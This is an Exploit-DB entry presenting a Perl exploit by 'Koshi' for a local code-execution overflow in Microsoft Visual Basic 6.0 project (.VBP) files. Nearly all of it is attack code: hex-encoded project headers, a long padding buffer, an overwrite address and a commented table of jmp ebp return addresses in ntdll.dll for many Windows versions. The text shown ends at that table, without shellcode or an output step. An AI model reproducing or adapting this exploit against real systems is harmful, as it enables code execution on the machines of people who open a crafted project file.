Exploit-DB #4361
Description: Microsoft Visual Basic 6.0 - VBP_Open OLE Local CodeExec
Type: local
Platform: windows
Date: 2007-09-04
Author: Koshi

Exploit:
#!/usr/bin/perl
#' ++ Microsoft Visual Basic 6.0 Code Execution 0-Day ++
#' ++++++++++++++++++++++++++++++++++++++++++++++++++++++
#'++ Author: Koshi                                      +
#'++ Email: heykoshi at gmail dot com                   +
#'++ Application: Microsoft Visual Basic 6.0            +
#'++                                                    +
#'++ Tested on Microsoft Windows XP Home Edition SP2    +
#'++ Patched & Updated                                  +
#'++                                                    +
#'++ The vulnerable buffer exsists in the .VBP files of +
#'++ Visual Basic projects. You can jump directly to    +
#'++ the shellcode, or jump to it via EBP.              +
#'++                                                    +
#'++ There is NO restriction of shellcode size either.  +
#'++                                                    +
#'++ Gr33tz: Rima my baby who I love and adore, Draven  +
#'++ for pointing me in the right direction, as always. +
#'++                                                    +
#'++                                                    +
#'++ This exploit is for educational use only, blah.    +
#'++                                                    +
#'++                                                    +
#'+++++++++++++++++++++++++++++++++++++++++++++++++++++++
#'+++++++++++++++++++++++++++++++++++++++++++++++++++++
#
# Ex. of Usage:
# perl vb6.pl 1 >>Project.vbp
# 
#
$begin0 = "\x54\x79\x70\x65\x3D\x45\x78\x65\x0D\x0A\x46\x6F\x72\x6D".
	  "\x3D\x46\x6F\x72\x6D\x31\x2E\x66\x72\x6D\x0D\x0A";

$begin1 = "\x52\x65\x66\x65\x72\x65\x6E\x63\x65\x3D".
	  "\x2A\x5C\x47\x7B\x30\x30\x30\x32\x30\x34\x33\x30\x2D\x30".
          "\x30\x30\x30\x2D\x30\x30\x30\x30\x2D\x43\x30\x30\x30\x2D".
          "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x34\x36\x7D\x23".
          "\x32\x2E\x30\x23\x30\x23\x2E\x2E\x5C\x2E\x2E\x5C\x2E\x2E".
          "\x5C\x2E\x2E\x5C\x2E\x2E\x5C\x57\x49\x4E\x44\x4F\x57\x53".
          "\x5C\x73\x79\x73\x74\x65\x6D\x33\x32\x5C\x73\x74\x64\x6F".
          "\x6C\x65\x32\x2E\x74\x6C\x62\x23\x4F\x4C\x45\x20\x41\x75".
          "\x74\x6F\x6D\x61\x74\x69\x6F\x6E";

$begin2 = "\x0D\x0A\x53\x74\x61\x72\x74\x75\x70\x3D\x22\x46\x6F\x72\x6D\x31\x22\x0D\x0A".
          "\x43\x6F\x6D\x6D\x61\x6E\x64\x33\x32\x3D\x22\x22";

$BuffOf = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41";

$codeAddr = "\x83\x25\x40\x01";
# You can most likely use a call or a push, you could probably use them from kernel32.dll too.
#* ntdll.dll    - 0x7C923DA3      jmp Ebp **** Is the one i have used in this example.
# 0x77f6d42f  	jmp ebp   	ntdll.dll  (English / 5.2.3790.3) 	Windows 2003 Server 5.2.0.0 SP0 (IA32)
# 0x77f7d9b6 	jmp ebp 	ntdll.dll  (English / 5.1.2600.11061) 	Windows XP 5.1.1.0 SP1 (IA32)
# 0x77f8c449 	jmp ebp 	ntdll.dll  (English / 5.0.2163.1) 	Windows 2000 5.0.0.0 SP0 (IA32)
# 0x77faa6ce 	jmp ebp 	ntdll.dll  (English / 5.2.3790.3) 	Windows 2003 Server 5.2.0.0 SP0 (IA32)
# 0x7c85eb73 	jmp ebp 	ntdll.dll  (English / 5.2.3[PII_REDACTED]) Windows 2003 Server 5.2.1.0 SP1 (IA32)
# 0x7c8839ed 	jmp ebp 	ntdll.dll  (English / 5.2.3[PII_REDACTED]) Windows 2003 Server 5.2.1.0 SP1 (IA32)
#*0x7c923da3 	jmp ebp 	ntdll.dll  (English / 5.1.2600.21802) 	Windows XP 5.1.2.0 SP2 (IA32)
# 0x77f8c449 	jmp ebp   	ntdll.dll  (French / 5.0.2163.1) 	Windows 2000 5.0.0.0 SP0 (IA32)
# 0x77f6d9b6  	jmp ebp   	ntdll.dll  (German / 5.1.2600.11061) 	Windows XP 5.1.1.0 SP1 (IA32)
# 0x7c933da3 	jmp ebp  	ntdll.dll  (German / 5.1.2600.21802) 	Windows XP 5.1.2.0 SP2 (IA32)
# 0x77f5d42f  	jmp ebp   	ntdll.dll  (Italian / 5.2.3790.3) 	No associated versions
# 0x77f6d9b6 	jmp ebp 	ntdll.dll  (Italian / 5.1.2600.11061) 	Windows XP 5.1.1.0 SP1 (IA32)
# 0x77f8c449 	jmp ebp 	ntdll.dll  (Italian / 5.0.2163.1) 	Windows 2000 5.0.0.0 SP0